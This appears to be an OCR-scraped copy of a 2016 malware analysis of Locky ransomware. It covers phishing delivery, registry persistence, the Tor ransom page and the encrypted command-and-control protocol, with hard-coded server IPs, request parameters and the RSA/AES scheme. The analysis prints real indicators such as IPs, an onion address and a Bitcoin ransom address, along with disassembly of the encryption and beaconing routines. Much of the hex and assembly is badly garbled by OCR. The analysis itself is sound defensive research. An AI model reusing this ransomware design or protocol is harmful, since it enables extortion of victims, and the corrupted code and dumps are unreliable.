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Locky is a new ransomware that has been released (most probably) by the Dridex gang (source). Not surprisingly,

it is well prepared, which means that the threat actor behind it has invested sufficient resources for it, including its

mature infrastructure. Let’s take a look.

Analyzed samples

e 7a23368ee84781d7584e058a9922f324

o payload: 74dde1905eff75cf3328832988a785de <- main focus of this analysis
o d9df60c24ceca5c4d623ff48ccd4e9b9
e e7aad826559c8448cd8ba9f53f401182

Behavioral analysis

Locky is usually delivered via downloader in MS Office document (i.e. DOC) or JavaScript — e-mail attachment
in a phishing campaign. The payload is a 32-bit Windows executable, containing the malicious core packed in a

crypter/dropper (they are various, with various icons).

7a23308eeB4 781  d9dfolc2dcecadh
d75842058a39922  cddb2affd8ccdd
f324.exe b9, exe

After being deployed it disappears and runs its dropped copy (renamed to svchost.exe) from the % TEMP %
folder.

Encryption process

Files that have been encrypted are fully renamed. The beginning of the name (first 16 characters) is the unique ID

of the victim. Then comes the ID of the file and the extension .locky that is typical for this ransomware.
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instructions. txt

The encrypted content has a high level of entropy and no patterns are visible.

Below: visualization of raw bytes of square.bmp. Left: unencrypted, right: encrypted.

After executing, Locky displays the ransom note in text and bitmap forms, setting the latter as the affected user’s

wallpaper.
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Text is localized to the language detected in the system. Translation looks professional enough (not from the auto

translator), which may indicate that the threat actors target multiple countries — and prepared about this particular

detail well. See sample translations (Polish, Spanish) here.

Registry keys

Looking at the registry we can find that a few elements have been added.

Key in autorun, to start the malware automatically after the system restart:

@’ Edytor rejestru

Plik Edycja Widok Ulubione Pomoc
b )l SideShow 4 || Nazwa
b - Speech — .
- SpQMCIient L8 f:lmomys'na]
s - L) SystemCertifice =

4 | i | 3

Typ Dane
REG_5Z (wartosc nie ustalona)
REG_SZ Ch\Users\tester\ AppData'Local\ Temp'svchost.exe

Komputer\HKEY_CURREMT_USER\Software\Micresoft\Windows\ CurrentVersion\Run

Data specific to the victim — individual ID, public RSA key and text of the ransom note to be displayed:

& Edytor rejestru [E=H EEN =X
Plik Edycja Widok Ulubione Pomoc
4|y Software “ || Nazwa Typ Dane
F-Ju AppDatalow 5D REG_SZ (wartosé nie ustalona)
g if;i:lﬁ“' Softwa REG_DWORD 000000001 (1)
: Ty REG_SZ 060 AADBABIIETT 24
\. | Wicrosoft REG_BINARY efbbbf20202020202020202020202021 21 21205741 c5bbdedl 2049 4464f524d41434a41202121 21
.} PE-bear REG_BINARY 06 02 00 00 00 a4 00 00 52 53 41 31 00 08 00 00 01 00 01 00 4f f9 b5 08 41 d5 71 6b 83 a3 74 4b 30 6d 24 f1 0282 3a be
b Policies
b Trolltech 2
4 [ ] » < m 2

Komputer\HKEY_CURRENT_USER\Software\Locky

Public key stored in the registry:
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Mazwa Typ Dane

@(Dum}rilnaj REG_5F (wartosc nie ustalona)

_?5'5] completed REG_DWORD (00000001 (1)

39] id REG_SZ 060AADBABI96TT 24

_?_-'5] paytext REG_BIMARY efbbbf20202020202020202020202021 21 21 20 ¢

_?5'5] pubkey REG_BIMARY 0602000000 a400005253413100080000010001¢
Edytowanie wartosci binarng @

Nazwa wartosci:
pubkey
Dane wartosci:

o000 06 02 00 00 00 A4 00 OO0 . s
0008 22 53 41 31 00 g 00 00 E3821....
0010 01 00 01 00 4F F9 B3 g R+ TR
0018 41 D5 T1 6B 8 A3 T4 4B afgk.£tK
0020 30 6D 24 F1 02 &8 3 BC OmSA. .4
0028 92 ®E &F 00 &3 41 8C 36 .no.£R.6
0030 73 8 BE 75 FE D7 8% 41 5.Hup=.4

f=)

"

u
»

m

0038 Ba Tl EBD 3B 20 A3 96 i “g; L.

0040 Ez2 AB DT F4 4C 79 11 22 da=4dLlv.

0048 E2 3IF 57 4F BC 14 89F 56 7. W. .V
0050 3C g 00 D7 58 Ee E& 06 i mXee., 7

Website for the victim

Each Locky victim has a Web page that can be accessed via Tor. These pages contain further instructions to the

victim and support for managing payments.
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/ Locky Decryptor Page x\-l-

51 ﬁ o ¢ & twhers4hmiGdx65f.onion/D60AADBABIIE 7724 pE C" ‘Q Search

N

‘We present a special software - Locky Decryptor™ -
which allows to decrypt and return control to all your encrypted files.

How to buy Locky Decryptor™?

‘You can make a payment with BitCoins, there are many methods to get them.

You should register BitCoin wallet:

Simplest onling wallet or Some other methods of creating wallet

Purchasing Bitcoins, although it's not yet easy to buy bitcoins, it’s getting simpler every day:

Here are our recommendations:

localbitcoins com (WU

coincafe.com

localbitcoins.com
CEXID

btedirect.eu
bitquick.co
howtobuybitcoins.info
cashintocoins.com
coinjar.com
ANXPIO.Com
bittylicious.com

Buy Bitcoins with Western Union

Recommended for fast, simple service.

Payment Methods: Western Union, Bank of America, Cash by FedEx, Moneygram, Money Order. In NYC: Bitcoin
ATM, in person.

Service allows you to search for people in your community willing to sell bitcoins to you directly.
Buy Bitcoins with VISA/MASTERCARD or wire transfer.

The best for Europe.

Buy Bitcoins instantly for cash.

An international directory of bitcoin exchanges.

Bitcoin for cash.

CainJar allows direct bitcoin purchases on their site.

Send 0.5 BTC to Bitcoin address:

1G1KrBICAZOKPTBIgKISNMiwoQVOQK1By12

Note: Payment pending up to 30 mins or more for transaction confirmation, please be patient...

Locky Decryptor™

Network communication

Locky communicates with the CnC, but it is difficult to analyze it via simple sniffing tools because full

communication is encrypted:
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Follow TCF Stream

Stream Content

POST /main.php HTTR/1.1
Host: 188.138.88.184
Content-Length: 100
Connection: Keep-Alive

Cache-Control: no-cache

ol =R« [ I SRS 570 00 o Bl g 6 b aon o Mevounn. k,Se,  Z, .2 ... 07 b, Ic=@.8M. .
{....8N....... YHTTR/1,1 2080 CK

Server: nginx

Date: wWed, 24 Feb 2016 00:25:21 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 292

Connection: keep-alive

Vary: Accept-Encoading

P PR P Kevuw. . ktoooooii.., t..?7.nl..U....zd. /. -F. R b/

(... .FUdI. . Xv"..... O..0.0w\...]...- ..b%..

PR [r.o'x.t*. ...z, .h8.. . ... 0.H. .

W nalvaona <, BS,...9.5.0.7C. .9 . ..M. S HVE. 5. ..., e..1) . Am. Ly MeL L =OKL ML omEL=QlL L7
LT SO o L 5 RO T (P - -SE VLT T 3 O POST /main.php HITP/1.1
Host: 1B8.138.88.184

Content-lLength: 55
Connection: Keep-Alive
Cache-Control: no-cache

B, . 17k, . @.Biw.L,.v). . w
Server: nginx
Date: wWed, 24 Feb 2016 00:25:21 GMT

L ,C) . HTTR/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-lLength: 1130
Connection: keep-alive
Vary: Accept-Encoding

g..G%11...uMn@EEZ. {p.[4....>
ZD..UT....M.e..a)..m..

TeT..}GL. . 1Wlf.p.T

More about the protocol can be learned by reading the code...

Inside

Every sample of Locky comes packed in some crypter, so the code is unreadable at first.

T~ |-tEeXtIUBaMZAEY dd ot+set word_4ur1AE

text:004824EC dd offset word_48F1AE
.text:004624F8 dd offset word_4BF1AE
.text:0084824Fh dd offset word_L4BF1AE
-text:004624F8 dd offset word_4BF1AE
.text:004824FC dd offset word_48F1AE

" |.text:004082500 ; [BeBaBAA1 BYTES: COLLAPSED FUHCTION nullsub_4. PRESS CTRL-HUMPAD+ TOD EXPAND]
.text:88462581 db 1, 2 dup(2)
text:00462584 dd 16086882h, 28168862h, 188610, 1681688h, 1886161h, 1828282h
.text:00462584 dd 2828282h, 168188682h, 2818281h
.text:008462528 db 2
.text:08482529
text 080482529 [ =============== 5 UBRODUTIHE ==== === === =====
.text:008482529
.text:08482529
text:00482529 sub_402529 proc near ; CODE XREF: startylp
.text:008462529 lea esp, [esp+4]

— |.text:0848252D jm sub 481ESD

text 00462520 ENNNESIRN S
.text: 00482520
.text:8848252D0 ; ———-——- - - - - S
text:00462532 word_4@2532 dw 7481h ; DATA XREF: .data:@6415188Lo0
text:00462534 dd BCOEBECB8Bh, BEE82D34h, 200F126h, 14CO8374%h, OFFBY3CE7h
.text:00462534 dd 4FF3F5Dh, 2BC3FCAAR, 3D758865h, 1EBFB18h, 39246D68h
.text:80462534 dd 458B458B8h, BES2ABFA3h, BB8BFA53h, BB6C3IA36h, S4352F5Bh
.text:80462534 dd 293886C5h, 3B86EB6EBh, 32860065h, 8DCOOBBANh, 186ABBCHBH
.text:00482534 dd 541488h, BAZ794EGFh, 6F568056h, 7284368Ah, 8188B52%h
.text:80462534 dd 88F18314h, 66127418h, BB1298851h, BF2568D6%9h, 438828h
.text:80462534 dd 81828BC4h, 756DBBECh, 3F818806h, BC1A12D76h, SBBEE3BZ2h
text:00462534 dd 6531145h, 897112E8h, 2C70BF46h, 392B8383h, OCEFO7DBBh
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However, the core itself is not that obfuscated. After unpacking the outer layer of its defense, we can see valid
strings and function calls. They give some explanation to the unreadable network capture. The RSA key as well as
the ransom note are fetched from the server by a HTTP based protocol. The current sample comes with a list of 3
IP addresses.

BEZSIACC | . 5408 TEST AL,AL
GEZOZACE | . BF34 94080080 JE lockw du.BEII3RCS
BA232A04 | . BE DA272AGA HMOWTEST, locky_du. BA3AZ70E ASCIT ™31.41.47.37,188.138.838. 184,85, 25. 138. 187"
@EIoIA0Y | . SBCe MO ERX, ESI
AEZSEA0E | . G745 D@ AFE@EAeE MOU OWORD FTR SS [EEF=E:3@], O:F
HESSSHE2 . 8950 CC ML OWORD PTR S5: CEEF-8=341, EBX
@EZS5SAES | . 8880 BC Hou BMTE FTR S3: IZEBF" B 1, BL
HESSSHES . 8072 @1 LER EDI,OWNORD FTR DOS: [EAX+A211
GAZSSAEE | > SAGS MW CL,EBYTE FTR DS:[EAX]
BEIIIHED - d4a IMC ERX kernel32.BaseTheeadInitThunk
@EZ9ZAEE | . SACB CHF CL,EL
BEAISSAFA - 5 F9 JHE SHORT lockuy_du. ABS9SAER
e 31.41.47.37

- 188.138.88.184
e 85.25.138.187

Additionally it makes use of DGA — Domain Generation Algorithm (more described here).

Communication protocol

Locky’s communication protocol is pretty simple: it consists of a POST request with parameters in a typical
key=value format. However, as mentioned before, they are not sent by an open text, but wrapped and encrypted.
First, the request is prepared and it’s parameters are filled. Then its MD5 is calculated. Both elements are

concatenated and encrypted together.

Example of wrapped request (before encryption):

Addiress | Hex dump ASCII
Ali0]400| g6 Bl 42 BF CE 92 Cr 49 Hr OF oF BAIFD 47 CL -2 6 B realf AcerGke] 1 MDS of
A1101495[ 69 64 30 32 46 41 29 37| 45 S 536 o8| 58 31 ar 59| Ld=2FRdrEZES@1 72 tent
A11014R2( 21 42 2@ 26|61 63 74 30 &7 65 74 6B 65 79 26 &1 1BPLact=getkeuta| | COOLEN
B11014E2| 66 66 69 64|30 31 26 6C| 61 &E &7 30|65 72 26 63| ffid=llang=esto| | _ooeans
A11014C8(6F 72 78 30 308 26 72 65 72 v 30 20| 26 &F T3 20| arp= B&Eeru Bios=

A1101402| 57 69 &€ &4 6F 77 v2 2B 27 26 v 7@ 30 21 26 78| Windo =

A11014E2| 36 24 20 29 60 [0@ 50 53 40 6F 64 75 60 65 5O 61 6d= B..PSHDdulePa

Similarly, when the response comes, first it gets decrypted, then its MD5 is validated — and if it passed the

validation then it is parsed.

Example of received response (encrypted):
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aiz1a4s? (] . FUSH ER=
Al316435 (] . FUSH EOI

- TEST ERX.ERX
A1216491 |1 .~/ JE SHORT swchost.@13164C7

4l

CALL DWORD FPTR D5:L<&wininet.InternetReadFil

Wwininet.InternetReadFile

ERx=AA88ERE1

Address | Hex dump

HEZEICAE| HE B2 BB BB 22 C1 1% OB/ 4C 1A A2
BEZE1IE1E| B4 29 4F FA FH 9F EF 6B 12 29 &E 9E 2F AC 2E AB
BEZE1IE2E| 92 A2 2% 09 YB E4 2F C1 BY AE 25 21 1@ 52 14 1R
BEZE1E28) 26 5@ D4 A2 9F @5 2C BE FE &E OF F1 ¥F &E 1A A4
HEZELE48)| 26 BF 24 FE 7@ CH E& 4R DB F2 92 78 55 v& CC 75
AEZELISEE) 11 F3 A4 9F @5 D3 34 58 3B DS &8 2F F& v7 B3 &0
AEZELISEE| B BY 35 ES 8B 6E 55 88 1F 2B A& 39 C¥ A9 3F 73
BEZEIEVE|BS C4 FRA B2 82 &2 26 &F ED DD ARG 17 F2 BS E4 &4
AEZE1EEE) 22 25 EE 2F A9 42 26 81 92 15 49 72 EE 44 ER RAE
BEZE1E9E| AB Cé AF 85 75 &2 B4 52/ 11 V9 BC RS EER B2 CC B4
BE3E1EAE| B2 E4 BE 35 EEB F2 5% EA F4 E1 1D 42 77 FO 22 2E
BEZE1EEE| 26 FC 9E BB 2E 9 2A DA 4F EZ 5@ 28 FB 92 11 G5
QEZELECE 83 D4 11 40 CC FF 22 A2 81 BE 1E 26 8F v2 B4 25
AEZELIS0E| D1 49 &4 4C HE 26 C3 FR BC SO @& CS 7S5 18 &R 58
AEZELISEA| 15 E6 38 2F C4 &6 FF 10 ED 43 23 5B F3 34 30 EBE
BEZEISFE| 51 DS EZ2 9C 25 FE &2 B9 @9 YF AF 41 &1 EF 292 E&
BEZEIEAE) 18 B2 E6 17 DB 22 2F D4 292 E4 &2 45 28 BF 24 A2
BEZE1E18|AHD F9 45 AS 1B 7R 92 3B 45 44 20 BE A2 22 20 1C
BEZE1628| 5 DE 268 F2/ 88 74 26 56 69 73 75 61/ 6C 268 53 74

E LWL +51T+ 2
HE0" - EEFUERRCL S
SRE LA TLE<HT RS+
LPdiES, Zen I A0 +H
Ln dmp=S W arUv|iu
4" HEAR P R riow
s ARENUCT+2ESE TS
i~ | SbSovTa$" $nd
#EECeCABEE Tt O
Afaub Rdy . 20| 1M
BriASH e Y- E #EwESx
G sE T pOGPCH (43
widLlF aiiRACCseE
BIdL=lF * 1#tutiF
ESC—f #7CHl - d4=2
QRO wEn b L oelar f
PlatﬂaffanhFC1nn
s "Egtz [ FO=2u#aL
Uga-.t Wisual 5t

Decrypting:
BIZ1E02E [[ > [HOR ECH,ECH
B1216A20 || . |HOU EDX, B:AFF457E54
g121ea22 || » |fCMP ECH, [LOCAL. 183
81216A%5 || .|| JME SHORT swchost.B1316A0E
g121er%7 || . || MOV ERZ, [LOCAL. 147
g121er2A || . || CHP [LOCAL.93, E0I
81216020 || .~|] JME SHORT swchost.@1316AR2
cloienor ] . || LEA EA, CLOCAL. 141

STl | - || MOUZE ERX, BVYTE PTR DS: [ERM+ECH]

GIZ16ARE (| - || MOY ESI,EDX
g1316mAs || . || ROL ESI,@x3
g1ziemrE || . || SUB ERX.ECH
g1z1emA0 || . || SUB ERZ,ESI
g1zienAF || . || mou ESI, CLOCAL. 147
gi2ienez || . || BMD ERX, CuFF
g121e0e7 || . || CMP CLOCAL.93, E0I
51216REA || || JHE SHORT suchost.@131EAEF
g1z1e0ec || . || LEA ESI, [LOCAL. 143
Biz1emer || 5 || HOU_BYTE FTR DS:[ESI+ECKI, AL
giziencz || . || HOUZE ERH, AL
g1216ACs || . || ROR ERX, 6:E
gizience || . || MO ESI,.EDY
B121encA || . || ROL ESI,GuE
gi2ienco || . || HOR EAX,ESI
gizienck || . || HOR EAX,ECH
g1216A01 || . || LEA EDX,OWORD FTR DS: [EDX+EAX+@:ES34F201]
g1316A02 || . || IMC ECX
g121er0% || .~|LJMP SHORT swchost.B1316A92
B1Z21er0E || » |PUSH EDI
B121en0c |1, |PUSH o8

'l L_

OS: [ABZE 1566 ]1=AS
ERX=A8ZE 1566
Jump from @1316H90

Address | Hex dump

ASCII

HESEISEE[RS BS BB BA|22 C1 12 DE|4C 1A A2 50|00 F& 268 20
BASE1IS1A(B4 59 4F FA|FH 9F EY BE| 13 59 &E 2E|SF HC 3E RE
BEZEIEZA[( 92 B2 89 09| VB E4 27 C1|BY AHE 25 21|18 52 14 1A

E
JE0" " EEalEnxCCE
SEEH L "LE t BET

Decrypted response turns out to be an RSA key prompted by its hash:

Address | Hex dump

ASCII

AAZEICAAI RS B4 FE S22 8F 09 40 A0 47 97 92 P2 OO A2 FC 23

LIl 1T+ 2|

HEZEISIE| BE B2 B8 B8 AR A4 BE 88 52 52 41 21 BB 02 B Q8
BEZBIS2E) A1 BB 61 88 41 47 CE 27 4F 72 2B 46 B2 C9 25 &4\ 8
BEZE1S28| 5F 96 DA 96 2A YE 2F F2) 99 @& BA 2C) 12 99 BE 22
QEZEIS48) 44 B2 Y1 SE CBE 2R ET 7C C3 @C 52 41 BF 32 v2 20
BAZEISEAE| 59 24 B3 FD &5 87 72 AD E3 1B C? B4 25 CY E1 28
HAZE1SEE| 95 OF FS 83 CE 2% EVY SF @5 EF ED 74 @C D1 D& 3C
HEZEISTE| DB 4B Y8 18 BD 25 16 22 02 BC 26 4A 22 FS EC FE
EEZE1EEE) 26 &5 AL 3F 25 BA ED 7O Fe 2@ 7 @ 55 49 B9 Fi
HEZE1S2E| BF AD 29 45 DE &C AC C5 92 29 74 VPR 4H0 40 B5 AGQ
GEZE1EAE) 21 49 3F B2 @2 EBR A2 AG DS 91 20 20 456 22 BS A4
BEZE1SEA| B4 95 ES FF AE 21 &R 42/ 91 95 26 EF CH 90 RS FS
BEZEISCA) 97 &8 AY 4C ALl 85 B2 2C C2 11 C2 E& 7@ B2 EV 82
BAZELISDE| 20 BC 9B 36 65 D2 DE 3F 96 20 2B OV 4 6@ 22 74
BAZEISEA| 72 45 B4 30 Al E3 BE BD FH 9 HE D& E4 S6 BT 86
BEZEISFE|BF F2 BOD FO FE 12 AC OV DE B2 HE 92 E2 62 21 9E(q
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Locky uses 3 commands (identified by the key act):

o getkey
o gettext

e stats
We have explained the actions in further detail below.

[getkey] Initial registration and fetching the RSA key:

id=[16]&act=getkey&affid=1&lang=[2:1lang]&corp=[0-1]&serv=[0-1]&os=[Windows name]&sp=[num]&x64=[0-1]

Unique user ID is 16 byte long hexadecimal string, created locally (pseudocode):

win_dir = GetWindowsDirectory mount_point_name = GetVolumeNameForVolumeMountPoint(win_dir) GUID = ge

After that follows:

Language: obtained by functions: GetLocalelnfo , GetUserDefaultUILanguage. System info — fetched by
GetVersionEx and GetSystemMetrics(SM_SERVERR2) and translated to the built in lists. IsWow64Process is
used to identify if the system is 64bit.

[gettext] Fetching the ransom text:

id=[16]&act=gettext&lang=[2:1ang]

[stats] Sending statistics about encrypted files:

id=[16]&act=stats&path=[root_path]&encrypted=[num]&failed=[num]&length=[num]

What is attacked?

Locky attacks 3 types of local drives: fixed, removable and ramdisks...
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A04878DD
A040878DF
A84878E3
B8487BEG
A8487BEY
80447 8ED
B84 B878FA
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Xor 2ax, eax

mou [ebp+var_2], ax

1ea eax, [ebp+RootPathHame]

push eax ; lpRootPathHame
call ds:GetDriveTypel

cmp eax, 3 ;: Fixed drive

jz short run_enc

¥

Ll s 55

804078F2 cmp
B84 B78FS jz

eax, 2
short run fenc

Removable drive

Ll et =

804 078F7 cmp eax, O ; RAMDISK
884878FA jnz short skip
Yvy
P
A84a78FC
A84878FC run_enc:
804878FC xor eax, eax
B04878FE mow [ebp+var_ 4], ax
20487982 lea eax, [ebp+RootPathHame]
884879085 push eax ; void =
884879286 call run_encrypting thread

...as well as network resources. Network shares are mapped using WNetAddConnection?

uuse/YYE pUusn eax ; Llpbutter
0040799F lea eax, [ebp+cCount]
88487902 push eax ; lpcCount
884087903 push [ebp+hEnum] 5 hEnum
B84B79A6 mov [ebp+cCount], ebx
BO4B79A9 mov [ebp+BufferSize], 868h
884879B8 call esi ; WHetEnumResourceWl
A04879B2 test eax, eax
00487 9BL jz short loc_ 407949
Y h J
bl e = FEE
a84Aa7949 08487986 push [ebp+hEnum] ; hEnum
00407949 loc_407949: Bo4879B9 call ds:WHetCloseEnum
88407949 test byte ptr [ebp+HetResource.dwlsage], bl| |884879BF pop esi

B04B794F jz

short loc_4B7967

Y

—]

M M

8e407951 xor eax, eax ao4oe79Co

884087953 push eax ; dwFlags 984079CH loc_4@79cAa:
88487954 push eax ; lpUserHame 884879CA pop ebx
884087955 push eax ; 1pPassword 8684079C1 leave

0B4B7 956 lea eax, [ebp+HetResource] 8084879C2 retn

Be40795C push eax ; lpHetResource| (B84879C2 sub_ 467919 endp
08408795D call ds :WNetAddConnection2W ae40879Cc2

Ap4a79263 test eax, eax

BB487965 jnz short loc_L4B7904

vy

For every drive a new encrypting thread is started.

How does the encryption work?
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In the ransom note attackers claimed that Locky uses both RSA and AES algorithms. Looking at the code we can

confirm this. Cryptography is implemented using Windows Crypto API and really uses the mentioned algorithms.

First, RSA key (2048 bit) is fetched from the server and imported:

BEZ31226
BEZ31222
BEZ2122A
BEZ2122B
BEZ31231
BEZ31234
BEZ31237
BEZ31239
BEZ2122A
BEZ31230
BEZ2123E
BE2231241
G221 =44

EEEEREEE]

il

. | TEST ERA.ERX

.~ JE SHORT swchost.BHZE1231
. |PUSH ER=

. |CALL DWoORD PTR DO5:[<&adwvapid2.CryptDestroykew
> |HHO OWORD PTR O5:[ESI], G:MA

. | MOU ER, CARG.11
HDUHEEEiDNDRD FTR DO5: [EAX]

[SPs]
5Py ]
[ARG. 3]
[ARG. 21

ER=
OWORD FTR D5:[<&advapi3z.Crypt Importkey »]
Foy Foy

aduapidz. CruptDestroykey

rsaenh .. CPAcqu ireContert

aduap i32. Cowpt Import ey

Sté;ﬂ 55: [OR4EFECHI=0142 1380

BLOBHEADER {PUBLICKEYEBLOB,

@, CALG_RSA_KEYX}

RSAPUBKEY {"RSAl"i len=2848, public exponent=65537}

Y .
Address | Hew dump - HHzOHZZE
G147 1200 Be) Be BE Do Z EC 41 -1 0B B0 0D 00| #8...0. e e
Glazizon[B] BRG] Ga[4] 47 C5 27 [, 5. it U e ooaErens | aoaoosEe
B14213A6(GF 96 DA 96 oA 7E 2F F2 99 B6 BA 9C| 13 99 BE 88| _rri:~. delvigay| |224EFene | 2eoneacs
G14213E6( 44 62 71 SE|CB 9A ES ¢C C3 OC 55 41 BF 32 73 oD|D@aswun | b.wrhzs2| | 224EFSnd | Soonanos
G1421306|59 24 B3 FO &% &7 79 A0 E3 1B C9 B4 25 Cr E1 90| Viefheysnep xage | D09ECERe | 0pdEfeEs
G1421306| 9 OF FS B3| CE 25 Ev GF B8 EF ED 74 6C D1 D@ 3C| (mseine B-2t.0a<|[ || 294EFSEC | IE234302
G14213E6( OB 4B 76 18| B0 25 16 98 D3 BC 26 4A 22 FG EC FB|MKphzroseoitvsdy| — | B24EFEEd | 78994973
G14213F6| 86 €6 A1 OF 25 @A BO 7D FE 99 B¢ 5B S& 49 B9 FI|cei?x.2)+@-PULy~"| |224EFSEd |[2iEfers
Gi4Z14m6| BF AD 89 45| DE 6C AC CG 98 59 74 7R 4A 40 65 pB|qséEmlotséradrisal | 224EFSES || Boazasdr
Gi4Z1416| 21 49 3F B3| 93 EB AZ AB DS 91 80 90| 46 83 BE pd|tI?lwudancziFarn) | B24EFSEC || BodErenc
G1421420| B4 98 ES FF AE 31 €A 42 91 95 26 EF CA SO AS FS|eCh 21BCC4-=ksg| | 229ECCC0 || 2ldzises

The RSA key is used to encrypt AES keys, which are randomly generated for each file.

00481848
B8481848
a848184E
aa4e184F
08481852
00481854
00481856
a848185C
a848185E

loc_481848:

lea eax, [ebp+pbBuffer]

push eax ; pbBuffer
mowv eax, dword ptr [ebp+hProv]
push 16 ; dwlLen
push dword ptr [eax] ; hProw
call ds:CryptGenRandom

test eax, eax

jnz short prepare_key

A J
M=
08481893
60481823 prepare_key:
00481823 and [ebp+pKeyHandle], B
8046189A push dword ptr [ebp+hProv] ; pbData
0048189D lea edx, [ebp+pbBuffer]
684818A3 lea ebx, [ebp+pKeyHandle]
B84818A9 mov byte ptr [ebp+var_4], 19
884818AD0 call import_key and set params
00401882 mov esi, 188h

Below — importing a random AES key (128 bit long):

Processing of the files starts by enumerating them and storing in a list. Then the encryption proceeds by this list.
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88402C7E

88402C7E ; DUORD _ stdcall encrypting thread{LPUDID root path}
88402C7E encrypting thread proc near

A8402CT7E

08482C7E var_28= byte ptr -28h

88482C7E var_18= dword ptr —18h

88482C7E var_C= dword ptr -BCh

08482C7E var_4= dword ptr -4

88482C7E root_path= dword ptr 8

AALA2CT7E

A0402C7E mov eax, offset loc_4BEES3
88482083 call

88482C88 sub esp, 1Ch

88482C8B and [ebp+var_ 4], @

08482C8F push ebx
88482098 push esi
88402C21 push edi

28402C92 mov [ebp+var_18], esp
88482C95 push [ebp+root_path]
08482C28 lea esi, [ebp+var_28]
88482C28 call enumerate files
08482CA0 pop BCX

08482CA1 mov eax, esi

88482CA3 push eax
884082CA4 push [ebp+root_path]

88482CA7 mov byte ptr [ebp+var_ 4], 1
88482CAB call encrypt_and_drop_note
88482CBA pop eCx

Every thread collects statistics about the encrypted files (i.e summary of how many files has been encrypted in a

particular path):
08482082 movu edi, eax
0048284 lea eax, [ebp+var_C8]

88482A8A push offset ald_B ; Mid="

08482A8F push eax

004082090 mov ebx, offset dword_L16C78

84827095 mov byte ptr [ebp+var_4], BBh

80482099 call sub_4B4438

88482A9E push offset afActStatsPath ; "fkact=stats&path=""
88482AA3 push eax

88482004 lea eax, [ebp+uvar_1C4]
8848280 mov byte ptr [ebp+var_4], BCh
ap402AAE call sub_4B44AA

08482AB3 mov BCX, eax

00402ABS mov eax, edi

08482AB7 lea edi, [ebp+var_154]
08482ABD mov byte ptr [ebp+var_4], 8Dh

ap482AC1 call sub_4B44E1
88482ACEH push offset aEncrypted ; “&encrypted="
08482ACEB push eax

88482ACC lea eax, [ebp+uvar_1FC]
08482AD2 mov byte ptr [ebp+var_4], BEh
8p402AD6 call sub_4B44AA

8B482ADB add esp, 46h

08402ADE mov ecx, edx

08482AE8 mov eax, [ebp+arg_u]

08482AE3 lea edi, [ebp+var_11C]
00402AE? mov byte ptv [ebp+var_4], BFh

B84082AED call sub_4a44E1
80402AF2 push offset aFailed ; "&failed=""
88482AF7 push eax

08482AF8 lea eax, [ebp+var_AC]
004082AFE mov byte ptv [ebp+var_4], 16h
a8482B02 call sub_4B44AR

00482887 mov ecx, eax

88482869 mov eax, [ebp+var_14]
08482B0C lea edi, [ebp+var EX4]
88482812 mov byte ptv [ebp+var_4], 11h

88482B16 call sub_4044E1

08402B1E push offset alLength ; "&length=""
004082628 mov byte ptr [ebp+var_4], 1Zh
08482824 push eax

Statistics are encrypted and sent to the C&C.
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Ransom note

As mentioned before, ransom note in a language detected language by GetUserDefaultUILanguage is downloaded

from the server.

Most ransomware drops ransom notes in HTML form, and then opens it in a Web browser. Locky does something

more interesting: it renders and sets a bitmap as wallpaper.

AB4B3FFE loc_ L4B37FB: ; 1pFileMame
B04837FE push eax
004837FC mou ecx, offset lpData
Ap4B3801 call create_and_write file ; drop .txt note
0849838086 pop BCx
£
FEE

8B4 83807
08493807 loc_403887:
B8483887 lea eax, [ebp+puParam]

0040380R call find_file
B84A380OF test al, al

88403811 jnz short loc_ 483869
: v

FEZE

08483813 lea eax, [ebp+var_A4]

00483819 push eax
a84A381A call set_codepage
8848381F push eax

884038208 lea eax, [ebp+uvar_28]
88483823 push eax

88483824 mov byte ptr [ebp+var_u4], 3
88493828 call render_ransom_bitmap
88483820 add esp, BCh

Bitmap rendering:

Wallpaper settings are edited by registry keys:

HULU3YYY lea £ax, |ebp+phkHesult |

884083993 push eax

80483994 lea ecx, [ebp+var_28]

80403997 mou edx, offset aTilewallpaper ; “TileWallpaper™
9848399C mov byte ptr [ebp+uvar_4], 8

884839A8 call set_reg_value

884839A5 push 1

B84839A7 xzor edi, edi

After successful rendering and saving the bitmap, it sets it as a wallpaper using SystemParamsinfo (action 0x14 =
SPI_SETDESKWALLPAPER)

A84839ED push 3

804839BF push eax : puParam

884839CA push ehx : uiParam

884829C1 push huh ;: ulfAction

A84829C3 call ds:iystemParametersInfol

A840829CY cmp [ebp+uvar 58], 2
Conclusion
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Locky struck in February but it has already gained popularity. Due to the fact that it is a wide spread attack,
carried by the same entities that distribute Dridex, it easily triggered interest of many researchers. Upon closer
inspection, however, we can say that it is not that different from common ransomware. It looks solidly written and

well prepared, but it doesn’t show too much novelty so far.

Appendix

e http://community.hpe.com/t5/Security-Research/Feeling-even-Locky-er/ba-p/6834311#.VtyC-M3iuV7 —

Locky administration panel

e http://blog.fortinet.com/post/a-closer-look-at-locky-ransomware-2 — “A Closer Look at Locky

Ransomware” by Fortinet

e https://www.proofpoint.com/us/threat-insight/post/Dridex-Actors-Get-In-the-Ransomware-Game-With-

Locky — “Dridex Actors Get In the Ransomware Game With Locky”

» https://blogs.forcepoint.com/security-labs/locky-ransomware-encrypts-documents-databases-code-bitcoin-

wallets-and-more

o http://phishme.com/locky-a-new-encryption-ransomware-borrowing-ideas-from-the-best/

e https://www.sensepost.com/blog/2016/understanding-locky/

About the author

Unpacks malware with as much joy as a kid unpacking candies.

Source: https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/
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